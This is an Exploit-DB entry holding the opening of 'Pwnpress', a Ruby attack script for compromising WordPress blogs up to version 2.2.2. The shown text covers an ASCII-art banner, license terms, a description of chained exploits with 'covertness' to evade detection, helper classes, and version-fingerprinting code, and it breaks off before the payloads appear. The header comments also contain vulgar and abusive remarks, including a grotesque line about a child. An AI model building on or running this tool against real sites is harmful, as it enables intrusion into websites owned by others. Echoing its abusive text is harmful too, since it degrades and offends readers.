Exploit-DB #4397
Description: WordPress Core 1.5.1.1 < 2.2.2 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2007-09-14
Author: Lance M. Havok

Exploit:
#!/usr/bin/env ruby
#                .---. .---.
#               :     : o   :    happy antiblogging, dear kids!
#           _..-:   0 :     :-.._    /
#       .-''  '  `---' `---' "   ``-.         Copyright (c) Lance M. Havok
#     .'   "   '  "  .    "  . '  "  `.       <lmh [at] info-pull.com>
#    :   '.---.,,.,...,.,.,.,..---.  ' ;
#    `. " `.                     .' " .'      ----- All rights reserved.
#     `.  '`.   .-/|||||||\-.   .' ' .'       2006, 2007.
#      `.    `-._   \|||/   _.-' "  .'
#        `. "    '"--...--"'  . ' .'    ...because blogs are useless
#  jgs   .'`-._'    " .     " _.-'`.       self-promotion and mental
#      .'      ```--.....--'''    ' `:               masturbation...
#   "The blogosphere end is fucking nigh!"
#                                              -RELEASE LESS, RELEASE BEST-
# == Disclaimer and license
# This code is *NOT* GPL. Commercial usage is strictly forbidden (any activity
# directly or indirectly generating revenue: consulting, distribution in slides,
# mirroring in websites with ad/affiliate programs, advertise your web IDS, etc).
#
# == Pwnpress motivation and features
# Pwnpress implements multiple techniques, bugs and tricks for compromising
# Wordpress-based blogs, combining the exploits in the necessary order for
# retrieving any necessary information to make the exploitation process as
# reliable as possible. Because every time you 'blog', god mutilates the penis
# of a poor 12 year old Vietnamese boy.
#
# Covertness capability is provided, dynamically adapting the payloads and
# operations to lower potential 'noise' on the wire. Fingerprinting deploys few
# methods able to detect all versions of Wordpress in their default installation
# form without tampering of wp-includes/version.php
#
# Tested with Wordpress 2.2, 2.2.2, 2.0.5, 2.0.6, 2.1, (...), PHP/5.2.4 for
# Apache 2.0.58 on Gentoo GNU/Linux. magic_quotes on and off for the different
# exploits.
#
# == A short advice (for those who desperately need a working brain)
# Due to the recent incidents of people ripping some of our work at Blackhat and
# other *pointless* security conferences, we politely ask you to refrain from
# doing such a mean thing. If you can't be creative, find a different hobby.
# "DANGER RABBI ROBINSON: INFOWAR!" Gadi Evron, blogs.securiteam.com (WP 2.0.10)
# Trespassers expect career disruption and public humiliation... :)
#

require 'digest/md5'
require 'net/http'
require 'base64'
require 'irb'
require 'uri'

class Array
    # Return random item
    def rand_i
        return self[rand(self.size)]
    end
end

class String
    # http://snippets.dzone.com/posts/show/2111
    def self.rnd(size = 16)
        (1..size).collect { (i = Kernel.rand(62);
        i += ((i < 10) ? 48 : ((i < 36) ? 55 : 61 ))).chr }.join
    end
end

# Oh jesuschrist, here comes the pie!
class Pwnpress
    PWNPRESS_VERSION         = "0.2pub"
    LATEST_VERSION_SUPPORTED = "2.2.2"
    DEFAULT_TABLE_PREFIX     = "wp"
    KNOWN_REGEXPS            = {
        :meta_generator => /<meta name="generator" content="(.+?)" \/>/,
        :rss_feed_links =>
            [
                /title="RSS 2.0" href="(.*)"/,
                /title="RSS .92" href="(.*)"/
                
            ],
        :atom_feed_links =>
            [
                /title="Atom 0.3" href="(.*)"/
            ],
        :rss2_generator =>
            [
                /<generator>http:\/\/wordpress.org\/?v=(.+?)<\/generator>/,
                /generator="(.+?)"/
            ],
        :atom_generator =>
            [
                /uri="http:\/\/wordpress.org\/" version="(.+?)">Word(P|p)ress/
                # This fixes dumb editors with stupid syntax highlighting :)"
            ]
    }
    
    attr_reader :results
    
    # Initialize the instance variables, etc. Perform any required operations
    # to set the initial state ready.
    def initialize(options)
        unless options[:target] != nil
            raise "Missing target URL parameter."
        end
        
        # Check for missing trailing slash, add if necessary
        if options[:target].split(//).last != '/'
            options[:target] << '/'
        end
        
        
        @url          = URI.parse(options[:target])
        @proxy_host   = options[:proxy_host]
        @proxy_port   = options[:proxy_port]
        @table_prefix = options[:table_prefix]
        @username     = options[:username]
        @[CREDENTIAL_REDACTED][:password]
        @covert_level = options[:covert_level]
        @results      = {}
        @finger_on    = options[:fingerprint]
        
        if options[:version] == "auto"
            @version = fingerprint_wordpress()
            if @version
                msg_name = "Found Wordpress version."
                msg_desc = %Q{
                    Target has #{@version} installed. Current last
                    release (devel) is #{@wp_versions.last}. Known
                    versions: #{@wp_versions.size} (includes devel).
                }
                
                add_results_msg(:wp_version, :success, msg_name, msg_desc)
            else
                msg_name = "Can't find Wordpress version."
                msg_desc = %Q{
                    Target has an unknown Wordpress version installed.
                    It might be fake or bogus. Please specify target
                    version yourself, since fingerprinting failed :(
                }
                
                add_results_msg(:wp_version, :failure, msg_name, msg_desc)
            end
        else
            fingerprint_wordpress(true)
            @version = options[:version]
        end
        
    end
    
    # Attempt to verify wordpress presence and installed version + patch level:
    #
    # 1. Default installation contains a META generator header.
    # 2.